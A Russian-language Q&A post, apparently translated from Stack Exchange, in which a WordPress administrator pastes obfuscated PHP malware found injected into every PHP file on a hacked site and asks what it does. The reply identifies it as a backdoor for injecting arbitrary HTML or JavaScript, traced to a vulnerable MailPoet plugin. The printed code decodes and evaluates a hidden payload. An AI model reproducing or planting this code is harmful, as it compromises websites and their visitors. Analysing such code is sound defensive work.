Сайт WordPress взломан: не запутывать вредоносный код

Один из сайтов, которыми я управляю, был взломан посредством установки WordPress в общей среде.

Похоже, что некоторые вредоносные программы были внедрены во все файлы php на сервере. Мне удалось удалить все ссылки на код и изменил все пароли. Впоследствии я получал неудачные попытки входа в систему с IP в Украине …

 <?php

if (!isset($GLOBALS["\x61\156\x75\156\x61"]))
{
$ua = strtolower($_SERVER["\x48\124\x54\120\x5f\125\x53\105\x52\137\x41\107\x45\116\x54"]);
if ((!strstr($ua, "\x6d\163\x69\145")) and(!strstr($ua, "\x72\166\x3a\61\x31"))) $GLOBALS["\x61\156\x75\156\x61"] = 1;
}


?>
<?php

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}4%162%x5f%163%x70%154%x69%164%50%x22%134%x78%62%x35%165%x3a%14252]y74]256#<!%x5c%x7825ggg)(0)%x5c%x782f+*0f(-!#]yx785cq%x5c%x7825%x5c%x7827j>5h%x5c%x7825!<*::::::-111112)eobs%x5c%x78608]y34]68]y33]65]y31]53]y6d]281]y43]78]y33]65]y31]55]y85gpf{jt)!gj!<*2bd%x5c%x7825-#1GO%x7825nfd>%x5c%x7825fdy<Cb*[%x5c%x7825h!>!%x5c%x7825tdz%x5c%x7878%x5c%x7822l:!}V;3q%x5c%x7825}Ux787f;!opjudovg}k~~9{d%x5c%x7825:osv*b%x5c%x7827)fepdof.)fepdof.%x5c%x782f#@#%x5c%x782fqp%x5c%x7825x2e%52%x29%57%x65","%x65%166%x61%154%x28%151%x6d%160%x6c%157%x64%145%<*rfs%x5c%x78257-K)fujs%x5c%x7878X6<#o]o]Y%x5c%x78257;uA%x5c%x7827doj%x5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fmjgk4%x5c%]282#<!%x5c%x7825tjw!>!#]y84]275]y83]248]y83]256]y81]265]y72]2]D6#<%x5c%x7825fdy>#]D4]273]D6P2L5P6!2p%x5c%x7825!*3>?*2b%x5c%x7825)7825)Rd%x5c%x7825)Rb%x5c%x7825))!gj!<*#cdc%x7825b:>1<!fmtf!%x5c%x7825b:>%x5c%x78=tj{fpg)%x5c%x7825s:*<%x5c%x7825j:,,Bjg!)%x5c%x7825j:>>1*!%x5%x7827{**u%x5c%x7825-#jt0}Z;0]=]0#)2q%x5x7825j>1<%x5c%x7825j=6[%x5c%x7825ww2!>#p#%x5c%x782f5c%x78256<%x5c%x787fw6*%x5c%x787f_*#fubfsdXk5%x5c%x786x5c%x7825tpz!>!#]D6M7]K3#<%x5c%x7825yy>#]D6]281L1#%x5c%x782f#M5]DgP56%152%x66%147%x67%42%x2c%163%x73Ld]53]Kc]55Ld]55#*<%x5c%x7825bG9}:}.}-}!#*<%x5c%s]o]s]#)fepmqyf%x5c%x7827*&7-n%x5c%x7825)utjm6<%x5c%x787fw6*CW&)7gj65,d7R17,67R37,#%x5c%x782fq%x556<pd%x5c%x7825w6Z6<.2%x5c%x7860hA%x5c%x7827pd%x5c%x7825x787f!~!<##!>!2p%x5c%x7825Z<^2%x5c%x785c2b%x5c%x7825!>76]277]y72]265]y39]271]y83]256]y78]248]y83]256]25}K;%x5c%x7860ufldpt}X;%x5c%x7860msvd}R;*msv%x5c%x7825)x7825!osvufs!*!+A!>!<#opo#>b%x5c%x7825!*##>>X)!gjZ<#opo#>b%x5c%x7825!**X)ufttj%x5%x5c%x7825%x5c%x7824-%x5c%x7824*!|!%x5c%x7824-%))1%x5c%x782f35.)1%x5c%x782f12]3]364]6]283]427]36]373P6]36]73]83]238M7]381]211M5]67]%x5c%x7878W~!Ypp2)%x5c%x7825zB%x5c%x7825z>!tussfw)%x5c%x78<pd%x5c%x7825w6Z6<.5%x5c%x7860hA%x5c%x7827pd%x5c%x78256<pd%x5c%x7825w6ww!>!%x5c%x782400~:<h%x5c%x7825_t%x5c%x7825:|!*uyfu%x5c%x7827k:!ftmf!}Z;^nbsbq%x5c%x7825%x5c%x785cSFWSFT%x5cc%x7825tzw%x5c%x782f%x5c%x7824)#P#-#Q#-#B#-#T#-#E#-#G#-#H#-#I#-#Kc%x7825!*9!%x5c%x7827!hmg%x5c%x782yfu%x5c%x7825)3of)fepdof%x5c%x786057ftbc%x5c%x787f!5r%x5c%x7878Bsfuvso!sboepn)%x5c%x7825epnbss-%x5c%x7825r!}%x5c%x7827;!>>>!}_;gvc%x5c%x7825}&;ftmbg}%x5c%x787f;!osvufs}w;*%) && (!isset($GLOBALS["%x61%156%x75%156%x61"])5c%x782f7^#iubq#%x5c%x782f#00#W~!%x5c%x7825t2w)##Qtjw)#]82#-#!#-%x5c%x7825tmw)f20QUUI7jsv%x5c%x78257UFH#%x5c%x7827rfs%x5c%x78256~6<<*K)ftpmdXA6~6<u%x5c%x78257>%x5c%x782f7&6|7**111127-K)ebfsX%x5c%x7827u25%x5c%x7824-%x5c%x7824b!>!%x5c%x7825yy)#}#-#!*+fepdfe{h+{d%x5c%x7825)+opjudovg+)!gj+{e%x5c%7f_*#ujojRk3%x5c%x7860{666~6<&w6<%x5c%x787fw6*CW&)7gj6<43]321]464]284]364]6]2/(.*)/epreg_replacekjfgnktllk';
$acpbcdcqwr = explode(chr((169 - 125)), '1655,54,9690,46,6518,63,6253,65,7910,69,223,49,8581,31,7446,62,6068,59,6431,60,9241,70,1801,68,5545,25,8758,56,1605,50,8661,68,9867,70,85,41,7979,55,4228,45,9814,53,1709,36,806,52,417,28,5389,29,3938,67,2879,51,2355,66,4132,36,9736,21,7559,27,4273,58,1137,70,2795,43,8459,54,768,38,4005,39,8034,63,4168,23,3430,64,1909,54,5334,55,477,53,10029,55,4191,37,3375,55,4401,43,8915,56,6491,27,6844,56,9624,66,3661,32,6000,68,6581,43,858,25,5598,32,4686,47,7049,61,595,46,3791,36,9484,34,2630,27,5870,69,5243,34,272,37,2066,47,7350,28,2113,63,4884,44,1490,56,8814,54,8195,32,7685,32,2956,57,2228,33,7206,29,2551,29,641,41,7235,38,7847,63,7586,44,2838,41,3097,55,1305,59,0,52,1427,63,8227,41,3304,49,5630,35,4044,67,4444,22,6900,30,916,33,8991,61,6784,60,9518,51,9355,64,52,33,354,63,2421,68,7811,36,3597,34,7110,40,5136,23,3895,43,1077,60,9982,47,8971,20,530,65,5780,24,6127,60,5075,61,8729,29,1207,28,188,35,309,45,5804,66,7771,40,3220,30,3250,54,2930,26,8368,40,1869,40,5731,49,4802,47,1392,35,3013,50,8097,62,7273,33,3063,34,7186,20,445,32,4111,21,9311,44,732,36,2657,69,2261,33,5570,28,3152,68,5451,29,6983,36,2294,61,1235,70,5665,66,949,58,4928,53,883,33,9052,47,1963,67,9937,45,5159,38,5197,46,3827,43,2580,50,4849,35,1546,59,6187,66,3353,22,2726,23,1007,70,5480,65,5939,61,7019,30,126,62,7306,44,6340,43,9569,55,9183,58,4584,65,3721,70,9757,57,4466,63,2489,62,2030,36,4733,69,3693,28,7150,36,8513,68,8159,36,682,50,4649,37,6318,22,8612,49,7717,54,1745,56,7378,56,3870,25,9128,55,5418,33,10084,22,3494,66,9099,29,6624,59,5033,42,4981,52,8307,61,8268,39,5277,57,3560,37,4331,70,8408,51,6731,53,4529,55,3631,30,6383,48,9419,65,6930,53,2176,52,6683,48,7508,51,8868,47,1364,28,7630,55,2749,46,7434,12');
$krdnhuyxrk = substr($vkvmlmaavg, (38379 - 28273), (35 - 28));
if (!function_exists('bvbkmkuetp'))
{
function bvbkmkuetp($lkmdhuzumr, $syqugkbwaa)
{
$wkmwfztjxy = NULL;
for ($wpopdgyvwt = 0; $wpopdgyvwt < (sizeof($lkmdhuzumr) / 2); $wpopdgyvwt++)
{
$wkmwfztjxy. = substr($syqugkbwaa, $lkmdhuzumr[($wpopdgyvwt * 2)], $lkmdhuzumr[($wpopdgyvwt * 2) + 1]);
}
return $wkmwfztjxy;
};
}
$knticqyoeu = "\x20\57\x2a\40\x62\170\x71\151\x75\171\x62\146\x6d\160\x20\52\x2f\40\x65\166\x61\154\x28\163\x74\162\x5f\162\x65\160\x6c\141\x63\145\x28\143\x68\162\x28\50\x32\60\x36\55\x31\66\x39\51\x29\54\x20\143\x68\162\x28\50\x35\71\x30\55\x34\71\x38\51\x29\54\x20\142\x76\142\x6b\155\x6b\165\x65\164\x70\50\x24\141\x63\160\x62\143\x64\143\x71\167\x72\54\x24\166\x6b\166\x6d\154\x6d\141\x61\166\x67\51\x29\51\x3b\40\x2f\52\x20\167\x68\156\x75\164\x6c\152\x78\153\x70\40\x2a\57\x20";
$lrykfpczcb = substr($vkvmlmaavg, (55025 - 44912), (61 - 49));
$lrykfpczcb($krdnhuyxrk, $knticqyoeu, NULL);
$lrykfpczcb = $knticqyoeu;
$lrykfpczcb = (376 - 255);
$vkvmlmaavg = $lrykfpczcb - 1;
?>

У меня вопрос, что делает этот код? Я пробовал довольно много инструментов для запутывания, но это безрезультатно. Кто-нибудь может помочь расшифровать это?

-3

Решение

На этот вопрос ответили на другом сайте Stack Exchange: https://security.stackexchange.com/questions/70579/is-this-a-backdoor

Выдержки из этого ответа:

Этот кусок сильно запутанного кода содержит программу, позволяющую хакеру динамически добавлять любой HTML или javascript

Похоже, что уязвимость WordPress была введена непатентованной версией плагина MailPoet

Основным выводом этого инцидента является частое резервное копирование данных и добросовестное обновление программного обеспечения.

Ответил https://security.stackexchange.com/users/9312/question-overflow

0

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